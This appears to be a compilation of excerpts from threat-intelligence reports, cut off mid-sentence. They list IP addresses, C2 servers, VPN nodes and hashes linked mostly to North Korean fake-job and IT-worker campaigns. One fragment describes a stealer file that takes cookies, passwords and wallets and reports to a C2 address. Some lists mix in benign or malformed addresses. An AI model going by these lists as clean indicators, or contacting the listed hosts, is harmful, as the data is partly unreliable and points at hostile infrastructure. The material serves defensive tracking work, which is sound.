223.104.144.97, 31.13.189.10, 31.13.189.178, 37.120.216.226, 38.134.148.94, 45.141.153.154, 89.116.158.156, 89.116.158.164, 89.116.158.188, 89.116.158.228, 89.116.158.68 Threat…","…89.116.158.164, 89.116.158.188, 89.116.158.228, 89.116.158.68 Threat Actor: Victor@3-KZH-1 107.182.231.196, 31.13.189.10, 31.13.189.26, 38.132.106.130, 45.141.153.130, 89.116.158.156, 89.116.158.228, 89.116.158.68, 89.116.158.84 Threat Actor: GHOST72@3-UJS-2…","…127 23.152.0.101 59.58.1.63 1.3.6.1 93.185.4.90 219.235.1.72 194.165.4.39 209.62.108.213 69.50.165.18 60.14.48.73 172.86.96.111 3.71.39.224 31.192.209.89 085.195.91.34 18.156.82.84 84.252.122.205 031.192.209.119 217.23.15.140 205.252.24.246 202.189.6.85 85.239.55.212 9.2.4.2 217.23.15.139 217…","….123.44.138 5.255.117.115 85.239.33.149 5.206.227.228 181.189.152.131 188.227.57.46 206.51.237.93 114.115.184.62 159.89.9.74 185.141.26.231 31.202.130.93 185.219.223.119 83.217.8.61 190.111.9.129 216.250.99.5 219.153.51.47 37.49.229.26 190.14.37.100 200.98.144.84 1.9.0.0 155.138.254.3 223.5.5…","…1.217.113 45.142.211.22 1.0.0.3 1.9.0.1 134.175.236.132 122.228.228.71 5.39.67.191 37.10.71.35 207.226.178.158 51.79.185.145 207.226.171.35 31.210.20.22 62.210.10.120 58.49.58.20 154.12.92.53 94.228.169.123 89.188.16.18 69.50.170.100 115.238.251.56 91.243.44.21 107.175.3.10 222.186.50.35 185…","…42.51.155.153 45.93.201.62 65.98.83.115 54.237.176.95 58.65.239.124 185.244.25.155 91.92.252.146 5.39.217.221 194.178.112.202 98.126.208.83 31.214.157.170 95.211.153.103 195.225.176.69 91.211.17.201 08.178.42.114 194.195.209.88 212.192.241.94 192.3.22.5 21.12.170.42 20.206.200.95 95.214.24.37…","…C2 IPs (hosting WHOIS-verified): 107.189.16.154:8353 (FranTech / PonyNet, US) · 5.180.30.30:4558 (THE-HOSTING / WorkTitans B.V., NL) · 31.222.238.61:4558 ( P.Q.…","…(may be shared origin) 2 23.237.145.36 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 31.41.216.122 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 34.122.58.60 ipv4 insider August 2024…","…Figure 3 shows a Cortex XDR alert blocking attempts at reverse shell execution by both shell scripts to a C2 server at 31.41.244.92 over TCP port 443. Figure 3.…","…C2 Servers: 31.57.243.29 31.57.243.55 31.57.243.190 38.134.148.218 38.146.28.177 63.176.219.134 151.243.101.229 154.58.204.15 154.62.226.22 158.62.198.177 173.211.70.246 206.206.127.80 206.20…","…Type Indicator SHA256 (Sample) a206ea9b415a0eafd731b4eec762a5b5e8df8d9007e93046029d83316989790a (auto.py) C2 Servers http[://]31.57.243.29:8080 Download Host api.quickcamfix.online Fake Job Site krakenhire.com Find this News Interesting! Follow us on Google News ,…","…- nvidiaRelease.zip d3500266325555c9e777a4c585afc05dfd73b4cbe9dba741c5876593b78059fd - nvidiaRelease.zip C2 servers http[://]31.57.243.29:8080 http[://]154.58.204.15:8080 http[://]212.81.47.217:8080 http[://] 31.57.243.190:8080 Download host names…","…C2 Servers: 31.57.243.29 31.57.243.55 31.57.243.190 38.134.148.218 38.146.28.177 63.176.219.134 151.243.101.229 154.58.204.15 154.62.226.22 158.62.198.177 173.211.7…","…C2 Servers: 31.57.243.29 31.57.243.55 31.57.243.190 38.134.148.218 38.146.28.177 63.176.219.134 151.243.101.229 154.58.204.15 154.62.226.22 158.62.198.177 173.211.70.246 206.206…","…Astrill VPN Nodes: 5.42.206.34 23.104.209.6 23.106.161.1 23.106.169.120 23.160.56.155 23.228.120.12 23.237.33.110 23.237.102.130 31.7.63.94 37.120.151.162 37.120.154.98 37.120.210.2 38.170.181.10 38.246.149.2 38.32.68.195 38.75.136.211 38.75.137.97 38.75.137.213 43.230.201.57 43…","…(may be shared origin) 2 31.41.216.122 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 34.122.58.60 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 37.210.118.247 ipv4 insider August 2024…","…were also URLs which had failed scanned status, these are low-confidence and are listed below: 5.252.178.86 HTTP socket on port 8000 34.231.213.130 HTTP socket on port 8000 For the 400 code, the following were identified (only the newly discovered ones are mentioned): 191.96.53.163…","…code, the following were identified (only the newly discovered ones are mentioned): 191.96.53.163 HTTP based socket.io on port 5000 34.250.221.219 HTTPS based socket.io Other urlscan.io queries: Search query (HTTP Status 200): page.url:\"/socket.io/?EIO=4&transport=polling\" AND…","….35 173.208.160.45 107.189.11.54 13.112.233.199 45.32.176.234 122.224.9.67 45.58.116.102 6.0.6.0 14.114.114.114 122.224.51.149 81.177.26.27 34.255.217.70 217.8.117.63 87.19.73.8 62.210.130.250 65.19.154.100 1.8.0.0 65.98.83.116 44.238.74.84 198.12.91.160 47.243.229.22 192.210.149.242 207.54.1…","…203.45.67.89 194.87.95.123 91.92.241.15 100.100.100.200 91.92.242.30 1.2.4.0 155.94.0.7 0.1.2.3 198.18.0.1 240.0.0.1 198.51.100.1 124.0.0.0 35.100.6.1 35.100.6.2 22.6.5.72","…9 194.87.95.123 91.92.241.15 100.100.100.200 91.92.242.30 1.2.4.0 155.94.0.7 0.1.2.3 198.18.0.1 240.0.0.1 198.51.100.1 124.0.0.0 35.100.6.1 35.100.6.2 22.6.5.72","…and IP address may contain malicious content, so consider the risks before opening them in a browser. Indicator Type Context 36.97.143.26 IP address Used in NICKEL TAPESTRY operations silverstarchina.com Domain name Seized infrastructure used in NICKEL TAPESTRY operations…","…4.196.12.189 23.95.122.25 174.122.240.164 020.4.11.165 207.226.177.108 37.49.224.144 78.128.92.26 64.27.0.205 69.164.196.211 64.233.183.104 37.0.10.214 176.9.157.143 116.255.235.91 194.36.190.41 4.6.0.0 194.36.191.10 203.199.200.61 65.243.103.58 23.95.238.122 66.40.9.246 185.215.113.201 179…","…1.224.92.26 94.130.200.99 66.102.11.99 81.95.147.107 20.51.217.113 45.142.211.22 1.0.0.3 1.9.0.1 134.175.236.132 122.228.228.71 5.39.67.191 37.10.71.35 207.226.178.158 51.79.185.145 207.226.171.35 31.210.20.22 62.210.10.120 58.49.58.20 154.12.92.53 94.228.169.123 89.188.16.18 69.50.170.100…","…into the URL and view the inbox. The SMTP banner for 91.196.52.205 advertises mx.add5000.com, which is also present on two other IPs: 37.115.109.158 and 37.115.26.54 .…","…view the inbox. The SMTP banner for 91.196.52.205 advertises mx.add5000.com, which is also present on two other IPs: 37.115.109.158 and 37.115.26.54 .…","….142.138.97 222.139.151.114 18.159.59.253 121.207.229.145 61.92.48.59 103.213.247.48 20.254.53.47 104.168.32.203 198.12.107.229 20.40.97.94 37.115.98.97 2.4.0.0 141.98.6.105 91.206.92.208 148.251.71.182 54.249.210.44 061.19.253.26 209.59.216.158 11.76.6.1 3.130.37.158 94.142.138.111 94.75.20…","…VPN Nodes: 5.42.206.34 23.104.209.6 23.106.161.1 23.106.169.120 23.160.56.155 23.228.120.12 23.237.33.110 23.237.102.130 31.7.63.94 37.120.151.162 37.120.154.98 37.120.210.2 38.170.181.10 38.246.149.2 38.32.68.195 38.75.136.211 38.75.137.97 38.75.137.213 43.230.201.57 43.230.201.68 45.…","…Hotmail, Proton, GMX, 163, Skiff, Protonmail, and Yopmail services. Transaction IP addresses 5.226.137.4 27.109.114.188 37.120.151.162 37.140.254.144 37.140.254.189 45.128.199.27 45.8.25.82 45.8.68.79 45.8.68.80 45.83.220.216 45.86.202.216 45.86.202.4…","…campaigns IP exit node used by DPRK fake IT workers Campaign and cluster source Source 23.237.102.130 37.120.154.98 38.75.137.97 45.86.208.162 50.7.159.34 91.239.130.102 103.214.44.138 167.88.61.117 185.135.76.89 188.43.33.252…","…IP exit node used by DPRK fake IT workers Campaign + Source of the cluster Source 23.237.102.130 37.120.154.98 38.75.137.97 45.86.208.162 50.7.159.34 91.239.130.102 103.214.44.138 167.88.61.117 185.135.76.89 188.43.33.252…","…es: 5.42.206.34 23.104.209.6 23.106.161.1 23.106.169.120 23.160.56.155 23.228.120.12 23.237.33.110 23.237.102.130 31.7.63.94 37.120.151.162 37.120.154.98 37.120.210.2 38.170.181.10 38.246.149.2 38.32.68.195 38.75.136.211 38.75.137.97 38.75.137.213 43.230.201.57 43.230.201.68 45.126.210.144 45…","…C2 89.147.101.65 89.147.101.71 37.120.210.2…","…named \"ATTACK (ATTACK_O)\" 77.247.126.189 Clouvider VPS, USA Public IP related to the Bybit attack Operator H \"YuHang team\" 37.120.210.2 M247, Japan (linked with Mullvad VPN) Public IP related to APT 37 Operator I Team 313 Public IP related to contagious…","…4 23.104.209.6 23.106.161.1 23.106.169.120 23.160.56.155 23.228.120.12 23.237.33.110 23.237.102.130 31.7.63.94 37.120.151.162 37.120.154.98 37.120.210.2 38.170.181.10 38.246.149.2 38.32.68.195 38.75.136.211 38.75.137.97 38.75.137.213 43.230.201.57 43.230.201.68 45.126.210.144 45.145.68.10 45…","…Threat Actor: Victor@3-KZH 107.182.231.193, 107.182.231.196, 120.226.22.28, 184.174.5.149, 223.104.144.97, 31.13.189.10, 31.13.189.178, 37.120.216.226, 38.134.148.94, 45.141.153.154, 89.116.158.156, 89.116.158.164, 89.116.158.188, 89.116.158.228, 89.116.158.68 Threat Actor:…","…174 Fdcservers (US) 3.15.4.158 16509 Amazon.com (US) 37.19.199.133 212238 Datacamp Limited (US) 37.19.221.228 212238 Datacamp Limited (US)…","…06:13:44 UTC, the operator logged back in. Security ID: SYSTEM Account Name: WIN-RCH83RTDA5G$ Logon Type: 10 Source Address: 37.19.200.137 Source Port: 64821 Date: 2026-02-19 Time: 06:13:44 UTC Event ID: 4624 Logon Type 10 – interactive RDP.…","…16509 Amazon.com (US) 37.19.199.133 212238 Datacamp Limited (US) 37.19.221.228 212238 Datacamp Limited (US) 37.43.225.43 35819 Mobily (SA)…","…(may be shared origin) 2 34.122.58.60 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 37.210.118.247 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 37.46.135.225 ipv4 insider August 2024…","Hosts lianxinxiao.com (AS44477). Reported by Silent Push as part of the blocknovas.com-centered Contagious Interview infrastructure cluster.","…C2 domain, which was identified through the previous malware pivot. Since August 12, 2024, the domain lianxinxiao.com has resolved to 37.211.126.117 on AS44477 Stark Industries Solutions LTD. Silent Push Total View for lianxinxiao.com Knowing that the infrastructure was still…","C2 endpoint for the Golang variant of the InvisibleFerret backdoor, delivered as nvidiawin.update.zip. Reported by Silent Push as part of the blocknovas.com-centered Contagious Interview infrastructure cluster, on port 8000.","…On further investigation of the files, we discovered the file “nvidiaupdate.go” revealed a C2 configuration for the IP address “ 37.221.126.117: 8000.” We saw a similar file structure in our previous reporting, referenced here: North Korea-nexus Golang Backdoor/Stealer from…","…9.233 20.234.231.114 77.83.197.180 205.177.124.74 5.5.7.1 23.108.108.42 27.126.188.212 62.233.57.103 80.66.75.25 47.103.219.77 65.98.83.119 37.221.160.56 185.147.237.244 180.101.75.58 045.4.3.3 6.0.1.06 185.216.213.137 78.111.67.189 69.50.175.181 178.236.247.102 209.200.169.10 115.47.49.181 4…","…Limited Feb 2025 Feb 2025 27017, 80 Cluster-3 LOW 91.99.83.196 24940 Hetzner Online GmbH June 2025 June 2025 8080 Cluster-3 LOW 37.27.108.244 24940 Hetzner Online GmbH June 2025 June 2025 8080 Cluster-3 LOW 57.128.212.19 16276 OVH SAS May 2025 May 2025 8080 Notable…","…212238 Datacamp Limited (US) 37.19.221.228 212238 Datacamp Limited (US) 37.43.225.43 35819 Mobily (SA) 38.140.49.92 174 Cogent Communications AstrillVPN…","…(may be shared origin) 2 37.210.118.247 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 37.46.135.225 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 38.158.202.121 ipv4 insider August 2024…","…2.228.7.225 85.17.93.189 4.82.216.67 206.123.147.226 83.149.95.197 104.196.12.189 23.95.122.25 174.122.240.164 020.4.11.165 207.226.177.108 37.49.224.144 78.128.92.26 64.27.0.205 69.164.196.211 64.233.183.104 37.0.10.214 176.9.157.143 116.255.235.91 194.36.190.41 4.6.0.0 194.36.191.10 203.199…","…206.51.237.93 114.115.184.62 159.89.9.74 185.141.26.231 31.202.130.93 185.219.223.119 83.217.8.61 190.111.9.129 216.250.99.5 219.153.51.47 37.49.229.26 190.14.37.100 200.98.144.84 1.9.0.0 155.138.254.3 223.5.5.5 45.9.150.36 75.127.1.211 192.227.173.33 61.135.159.183 89.117.2.34 38.255.43.23…","….227.203.204 217.148.142.113 0.10.51.212 45.61.151.174 23.227.203.192 23.227.202.51 23.227.202.52 172.86.116.90 144.172.97.7 95.179.135.133 37.60.234.203 107.172.31.179 188.255.239.34 197.182.186.212 43.136.234.140 192.210.215.11 46.28.70.102 156.245.19.127 155.15.133.69 115.0.0.0 89.23.96.17…","…Copy 104.168.143.111 147.79.103.251 216.107.137.53 23.254.164.232 23.254.204.184 23.254.244.248 23.254.247.32 23.254.247.53 38.110.228.112 38.146.28.252 45.42.40.200 45.42.40.208 5.230.251.49 5.230.252.157 5.230.44.79 5.230.54.23 5.230.78.47 HTTP Feature Hashes that were…","…(IOCs) Hay más de 80 indicadores de compromiso de este nuevo cluster de Velvet Chollima , pero les dejamos los principales acá: IPv4:38.110.228.112 IPv4:5.230.44.79 IPv4:5.230.252.157 IPv6:2607:5500:3000:aa0::2 El resto de los indicadores los compartimos en este pulso de inteligencia…","…Hashtopolis Instance IP 185.229.26.83 Hashtopolis Instance IP 213.169.49.142 Hashtopolis Instance IP 38.117.87.37 Hashtopolis Instance IP 198.53.64.194 Hashtopolis Instance IP 175.155.64.221 References FortiBleed:…","…89.116.158.188, 89.116.158.228, 89.116.158.68 Threat Actor: Victor@3-KZH-1 107.182.231.196, 31.13.189.10, 31.13.189.26, 38.132.106.130, 45.141.153.130, 89.116.158.156, 89.116.158.228, 89.116.158.68, 89.116.158.84 Threat Actor: GHOST72@3-UJS-2 108.181.57.127,…","…C2 Servers: 31.57.243.29 31.57.243.55 31.57.243.190 38.134.148.218 38.146.28.177 63.176.219.134 151.243.101.229 154.58.204.15 154.62.226.22 158.62.198.177 173.211.70.246 206.206.127.80 206.206.127.135 212.8…","…GolangGhost C2 http://38.134.148.218:8080 http://154.62.226.22:8080 http://72.5.42.93:8080 Files hashes Windows ZIP 1st stage…","…107.182.231.193, 107.182.231.196, 120.226.22.28, 184.174.5.149, 223.104.144.97, 31.13.189.10, 31.13.189.178, 37.120.216.226, 38.134.148.94, 45.141.153.154, 89.116.158.156, 89.116.158.164, 89.116.158.188, 89.116.158.228, 89.116.158.68 Threat Actor: Victor@3-KZH-1…","…212238 Datacamp Limited (US) 37.43.225.43 35819 Mobily (SA) 38.140.49.92 174 Cogent Communications AstrillVPN (US) 38.42.94.148 27611 Starry…","…is all the victim sees. Host Paths Seen 84.200.33.163 /302/ From 2026-09-30 144.172.103.226 /301/ , /302/ From 2026-06-30 38.146.27.178 /302/ From 2026-09-10 216.126.239.166 /69/ 2026-09-22 3.…","…Indicators of Compromise (IOCs) Malicious External Domains https://aptiscore.com https://technudge.pro 38.146.28.177 gitlab.tresalabs.com Malware Files: Filename MD5 SHA-256 cdrivMac.sh…","…C2 Servers: 31.57.243.29 31.57.243.55 31.57.243.190 38.134.148.218 38.146.28.177 63.176.219.134 151.243.101.229 154.58.204.15 154.62.226.22 158.62.198.177 173.211.70.246 206.206.127.80 206.206.127.135 212.81.47.217…","…function ├─auto.py #automatically steal cokkies, saved passwords & crypto wallets ├─api.py #initiate encrypted communication to 38.146.28.177:8080 ├─command.py #implementation ├─.....…","…243.255.79 89.23.98.16 170.130.55.130 103.20.235.174 139.162.22.35 1.1.1.1 91.92.251.35 121.88.5.183 192.3.220.6 5.181.159.76 178.16.54.109 38.154.237.100 45.61.160.28 46.105.47.148 138.201.125.58 224.0.0.0 192.0.2.1 0.0.0.0 192.0.0.0 192.0.0.171 100.64.0.0 172.86.84.38 3.2.8.1 52.59.124.14 92…","…(may be shared origin) 2 37.46.135.225 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 38.158.202.121 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 38.183.146.125 ipv4 insider August 2024…","…89.19.58.51 A significant portion of the IP addresses used for registration, such as 194.33.45.162 , 70.39.70.194 , 70.32.3.15 , 38.170.181.10 , and 45.86.208.162 , have been associated with Astrill VPN, a VPN service popular among North Korean threat clusters. Additionally, even…","…– Rustdesk logs 83.234.227.33 – Rustdesk logs 83.234.227.34 – Rustdesk logs 173.205.94.156 – Rustdesk logs 83.234.227.36 – Rustdesk logs 38.170.181.10 – Rustdesk logs 209.127.228.186 – Rustdesk logs 51.195.140.214 – Rustdesk logs 207.126.86.121 – Rustdesk logs 51.161.196.51 – Rustdesk…","…4.128.251.99 194.33.45.162 198.255.45.131 199.115.99.34 204.188.233.66 208.115.228.234 209.127.117.234 23.106.161.1 23.106.169.120 38.170.181.10 38.32.68.195 45.86.208.162 66.118.255.35 70.32.3.15 70.39.103.3 70.39.70.194 77.247.126.189 91.239.130.102 Investigating…","…first testing records were found on December 7, 2024; the first IP address on line 46 is from the person submitting the form on 38.170.181.10, and the second, 199.188.200.35, is the hosted server receiving the data. We have not detected any ByBit victims within the log files yet,…","…Threat Actor: ghost@GHOST-3 129.232.193.253, 195.146.5.31, 209.127.117.234, 45.56.197.79 Threat Actor: GoldRock@DESKTOP-N4VEL23 38.170.181.10 Threat Actor: Lenovo@3-RKS 38.170.181.10 Threat Actor: Super@3-AHR-2 217.138.198.34, 89.187.161.220 Threat Actor:…","…6 23.106.161.1 23.106.169.120 23.160.56.155 23.228.120.12 23.237.33.110 23.237.102.130 31.7.63.94 37.120.151.162 37.120.154.98 37.120.210.2 38.170.181.10 38.246.149.2 38.32.68.195 38.75.136.211 38.75.137.97 38.75.137.213 43.230.201.57 43.230.201.68 45.126.210.144 45.145.68.10 45.250.255.59 45…","…이때 사용된 Kimsuky C2 서버 주소는 '38.180.157.197' (NL) 입니다. [그림 4-1] 위협 사례별 상관관계 분석 ○ 상기 네덜란드 소재의 C2는 미국의 방송사 TV토론 초대메일 처럼 위장한 이메일 내부에서 관찰된 바 있고, 발신지 주소의 도메인은 'voanews.co.com'…","…scripts to ultimately decode a Base64 and XOR-encoded QuasarRAT payload that communicated with the command and control (C2) IP address 38.180.157.197 over port 80.…","…The associated Kimsuky C2 server used in that case was 38.180.157.197 (NL). [Figure 4-1] Correlation Analysis by Threat Case ○ The Netherlands-based C2 mentioned above was observed in a phishing…","…(may be shared origin) 2 38.158.202.121 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 38.183.146.125 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 4.7.147.233 ipv4 insider August 2024 November…","…DPRK Lazarus (through domain resolution) 198.105.127.124 May-25 PoC Exploit for Critical Zero Day 223.165.6.30 Jul-24 VenomRAT 38.211.230.5 Jul-25 Dark Peony (Operation Controlplug) 38.246.73.120 Jun-25 Dark Peony (Operation Controlplug) 45.195.76.82 Feb-24 Cobalt Strike…","…VenomRAT 23.27.169.64 Aug-25 DCRAT 23.27.24.227 Aug-25 GoPhish 166.88.132.69 Aug-25 Remcos 166.0.132.184 Aug-25 Sliver C2 38.211.230.55 Jun-25 Remcos 23.27.201.30 Jun-25 Sliver C2 166.88.61.58 Jun-25 AdaptixC2 166.88.114.78 May-25 Sliver C2 166.88.100.85 May-25…","…23.106.169.120 23.160.56.155 23.228.120.12 23.237.33.110 23.237.102.130 31.7.63.94 37.120.151.162 37.120.154.98 37.120.210.2 38.170.181.10 38.246.149.2 38.32.68.195 38.75.136.211 38.75.137.97 38.75.137.213 43.230.201.57 43.230.201.68 45.126.210.144 45.145.68.10 45.250.255.59 45.250.255.140…","…May-25 PoC Exploit for Critical Zero Day 223.165.6.30 Jul-24 VenomRAT 38.211.230.5 Jul-25 Dark Peony (Operation Controlplug) 38.246.73.120 Jun-25 Dark Peony (Operation Controlplug) 45.195.76.82 Feb-24 Cobalt Strike (Watermark: 100000) 45.195.76.26 Dec-23 ShadowPad…","…37.49.229.26 190.14.37.100 200.98.144.84 1.9.0.0 155.138.254.3 223.5.5.5 45.9.150.36 75.127.1.211 192.227.173.33 61.135.159.183 89.117.2.34 38.255.43.23 5.189.134.216 80.66.75.34 23.88.122.128 192.3.31.211 94.131.108.78 94.102.60.207 69.31.84.223 70.38.40.185 42.51.159.222 84.16.234.103 209.…","…94.33.45.162 198.255.45.131 199.115.99.34 204.188.233.66 208.115.228.234 209.127.117.234 23.106.161.1 23.106.169.120 38.170.181.10 38.32.68.195 45.86.208.162 66.118.255.35 70.32.3.15 70.39.103.3 70.39.70.194 77.247.126.189 91.239.130.102 Investigating BlockNovas’ GitHub…","…네트워크 인프라 측면에서는, 해당 행위자가 주로 Astrill VPN을 활용하고 있으며, 공통적으로 미국 소재 IP 주소인 38.32.68.195 가 반복적으로 관찰되고 있습니다.…","…198.23.241.254 199.115.99.34 204.188.233.66 208.115.228.234 209.127.117.234 23.106.161.1 23.106.169.120 23.83.129.1 38.170.181.10 38.32.68.195 38.75.137.213 45.86.208.162 66.118.255.35 70.32.3.15 70.36.99.82 70.39.103.3 70.39.70.194 74.222.14.83 77.247.126.189 91.239.130.…","…20 23.160.56.155 23.228.120.12 23.237.33.110 23.237.102.130 31.7.63.94 37.120.151.162 37.120.154.98 37.120.210.2 38.170.181.10 38.246.149.2 38.32.68.195 38.75.136.211 38.75.137.97 38.75.137.213 43.230.201.57 43.230.201.68 45.126.210.144 45.145.68.10 45.250.255.59 45.250.255.140 45.86.208.162…","…From a network infrastructure perspective, the actor appears to rely primarily on Astrill VPN, with the U.S.-based IP address 38.32.68.195 repeatedly observed across related activity.…","…Mobily (SA) 38.140.49.92 174 Cogent Communications AstrillVPN (US) 38.42.94.148 27611 Starry (US) 42.84.228.232 4837 China Unicom (CN)…","…155 23.228.120.12 23.237.33.110 23.237.102.130 31.7.63.94 37.120.151.162 37.120.154.98 37.120.210.2 38.170.181.10 38.246.149.2 38.32.68.195 38.75.136.211 38.75.137.97 38.75.137.213 43.230.201.57 43.230.201.68 45.126.210.144 45.145.68.10 45.250.255.59 45.250.255.140 45.86.208.162 50.2.184.50 5…","…4 199.115.99.34 204.188.233.66 208.115.228.234 209.127.117.234 23.106.161.1 23.106.169.120 23.83.129.1 38.170.181.10 38.32.68.195 38.75.137.213 45.86.208.162 66.118.255.35 70.32.3.15 70.36.99.82 70.39.103.3 70.39.70.194 74.222.14.83 77.247.126.189 91.239.130.102…","….110 23.237.102.130 31.7.63.94 37.120.151.162 37.120.154.98 37.120.210.2 38.170.181.10 38.246.149.2 38.32.68.195 38.75.136.211 38.75.137.97 38.75.137.213 43.230.201.57 43.230.201.68 45.126.210.144 45.145.68.10 45.250.255.59 45.250.255.140 45.86.208.162 50.2.184.50 50.7.159.34 50.7.251.66 50.1…","…IP exit node used by DPRK fake IT workers Campaign and cluster source Source 23.237.102.130 37.120.154.98 38.75.137.97 45.86.208.162 50.7.159.34 91.239.130.102 103.214.44.138 167.88.61.117 185.135.76.89 188.43.33.252 211.21.6.181…","…node used by DPRK fake IT workers Campaign + Source of the cluster Source 23.237.102.130 37.120.154.98 38.75.137.97 45.86.208.162 50.7.159.34 91.239.130.102 103.214.44.138 167.88.61.117 185.135.76.89 188.43.33.252 211.211.6.181…","….12 23.237.33.110 23.237.102.130 31.7.63.94 37.120.151.162 37.120.154.98 37.120.210.2 38.170.181.10 38.246.149.2 38.32.68.195 38.75.136.211 38.75.137.97 38.75.137.213 43.230.201.57 43.230.201.68 45.126.210.144 45.145.68.10 45.250.255.59 45.250.255.140 45.86.208.162 50.2.184.50 50.7.159.34 50…","…Appendix B: C2 Servers BeaverTail C2 Servers: 14.37.47.13 23.106.70.154 23.227.202.244 38.92.47.85 38.92.47.91 38.92.47.118 38.92.47.151 38.92.47.152 38.92.47.155 45.43.11.201 45.59.163.23 45.59.163.56 45.61.128.61 45.61.133.110 45.61.135.4 45.61.150.30 45.61.160…","…23.106.253.194 23.106.253.215 23.106.253.221 23.106.253.242 23.106.70.154 23.227.202.242 23.227.202.244 23.254.164.156 38.92.47.151 38.92.47.85 38.92.47.91 45.128.52.14 45.137.213.30 45.43.11.201 45.61.133.110 45.61.150.30 45.61.150.31 45.61.151.71…","…Appendix B: C2 Servers BeaverTail C2 Servers: 14.37.47.13 23.106.70.154 23.227.202.244 38.92.47.85 38.92.47.91 38.92.47.118 38.92.47.151 38.92.47.152 38.92.47.155 45.43.11.201 45.59.163.23 45.59.163.56 45.61.128.61 45.61.133.110 45.61.135.4 45.61.150.30 45.61.160.28 45.61.165…","….38 195.201.172.170 216.126.229.166 23.106.253.194 23.106.253.209 23.106.253.215 23.106.253.221 23.106.253.242 23.106.70.154 23.227.202.244 38.92.47.151 38.92.47.85 38.92.47.91 45.128.52.14 45.130.43.97 45.137.213.30 45.159.248.110 45.43.11.201 45.61.128.61 45.61.133.110 45.61.150.31 45.61.1…","…IPv4 67.203.7.205 2026-01-21 2026-02-26 IPv4 172.86.73.198 2026-01-21 2026-02-26 IPv4 38.92.47.152 2026-01-21 2026-02-26 IPv4 66.235.175.117 2026-01-21 2026-02-26 URL https://vscode-toolkit-bootstra……","…C2 Servers BeaverTail C2 Servers: 14.37.47.13 23.106.70.154 23.227.202.244 38.92.47.85 38.92.47.91 38.92.47.118 38.92.47.151 38.92.47.152 38.92.47.155 45.43.11.201 45.59.163.23 45.59.163.56 45.61.128.61 45.61.133.110 45.61.135.4 45.61.150.30 45.61.160.28 45.61.165.45 66.235.16…","…the remaining IPs. Furthermore, while most C&C servers dropped requests containing invalid campaign IDs, three servers ( 66.235.175.109 , 38.92.47.152 , and 45.59.163.23 ) returned responses. Specifically, 38.92.47.152 returned an error message, whereas 66.235.175.109 and 45.59.163.23…","…BeaverTail C2 Servers: 14.37.47.13 23.106.70.154 23.227.202.244 38.92.47.85 38.92.47.91 38.92.47.118 38.92.47.151 38.92.47.152 38.92.47.155 45.43.11.201 45.59.163.23 45.59.163.56 45.61.128.61 45.61.133.110 45.61.135.4 45.61.150.30 45.61.160.28 45.61.165.45 66.235.168.17 66.235.1…","…IP addresses (30) IP address ASN Owner 4.202.147.122 - - 38.92.47.157 AS397423 Tier.Net Technologies LLC 45.140.184.41 AS212238 Datacamp Limited 47.147.126.25 - -…","…195.66.213.162 , 138.226.247.147 , 138.226.247.152 ( dashcenterhost.info ), 138.226.247.154 Header only SOLLUTIUM 13.140.43.228 , 38.92.47.164 , 45.43.11.224 , 165.140.86.58 , 45.59.160.215 Header only Contabo, Tier.Net Confirmation From Someone Who Was Targeted A public…","…sibling port (1244 to BeaverTail's 1224), and its servers sit in the same provider /24 s as NVISO's published Contagious-Interview C2: our 38.92.47.175 and .157 next door to NVISO's 38.92.47.85 / .91 / .151 , and our 45.43.11.199 a single address from their .201 . For this to be someone…","…its servers sit in the same provider /24 s as NVISO's published Contagious-Interview C2: our 38.92.47.175 and .157 next door to NVISO's 38.92.47.85 / .91 / .151 , and our 45.43.11.199 a single address from their .201 . For this to be someone else, they would have to be independently…","…23.106.253.215 23.106.253.221 23.106.253.242 23.106.70.154 23.227.202.242 23.227.202.244 23.254.164.156 38.92.47.151 38.92.47.85 38.92.47.91 45.128.52.14 45.137.213.30 45.43.11.201 45.61.133.110 45.61.150.30 45.61.150.31 45.61.151.71 45.76.160.53…","…A: Diamond Model Appendix B: C2 Servers BeaverTail C2 Servers: 14.37.47.13 23.106.70.154 23.227.202.244 38.92.47.85 38.92.47.91 38.92.47.118 38.92.47.151 38.92.47.152 38.92.47.155 45.43.11.201 45.59.163.23 45.59.163.56 45.61.128.61 45.61.133.110 45.61.135…","…72.170 216.126.229.166 23.106.253.194 23.106.253.209 23.106.253.215 23.106.253.221 23.106.253.242 23.106.70.154 23.227.202.244 38.92.47.151 38.92.47.85 38.92.47.91 45.128.52.14 45.130.43.97 45.137.213.30 45.159.248.110 45.43.11.201 45.61.128.61 45.61.133.110 45.61.150.31 45.61.150.67 45.61.…","…23.106.253.221 23.106.253.242 23.106.70.154 23.227.202.242 23.227.202.244 23.254.164.156 38.92.47.151 38.92.47.85 38.92.47.91 45.128.52.14 45.137.213.30 45.43.11.201 45.61.133.110 45.61.150.30 45.61.150.31 45.61.151.71 45.76.160.53 5.253.43.122…","…Model Appendix B: C2 Servers BeaverTail C2 Servers: 14.37.47.13 23.106.70.154 23.227.202.244 38.92.47.85 38.92.47.91 38.92.47.118 38.92.47.151 38.92.47.152 38.92.47.155 45.43.11.201 45.59.163.23 45.59.163.56 45.61.128.61 45.61.133.110 45.61.135.4 45.61.150…","…26.229.166 23.106.253.194 23.106.253.209 23.106.253.215 23.106.253.221 23.106.253.242 23.106.70.154 23.227.202.244 38.92.47.151 38.92.47.85 38.92.47.91 45.128.52.14 45.130.43.97 45.137.213.30 45.159.248.110 45.43.11.201 45.61.128.61 45.61.133.110 45.61.150.31 45.61.150.67 45.61.151.71 45.61…","…5.117.72.143 104.168.160.209 58.221.71.73 121.12.104.29 159.89.214.31 174.133.126.27 115.16.79.72 206.161.205.142 216.255.189.85 12.4.11.53 39.100.159.8 63.219.176.248 176.96.138.103 81.161.229.110 107.189.6.214 66.220.17.157 103.74.105.78 104.37.168.41 65.98.83.114 3.3.3.255 61.32.117.110 1…","…linter-entry (1.0.0) 2026-03-16 11:23:08 66.150.196.58 Astrill VPN ja.vierj.ea.n.070 lint-builders 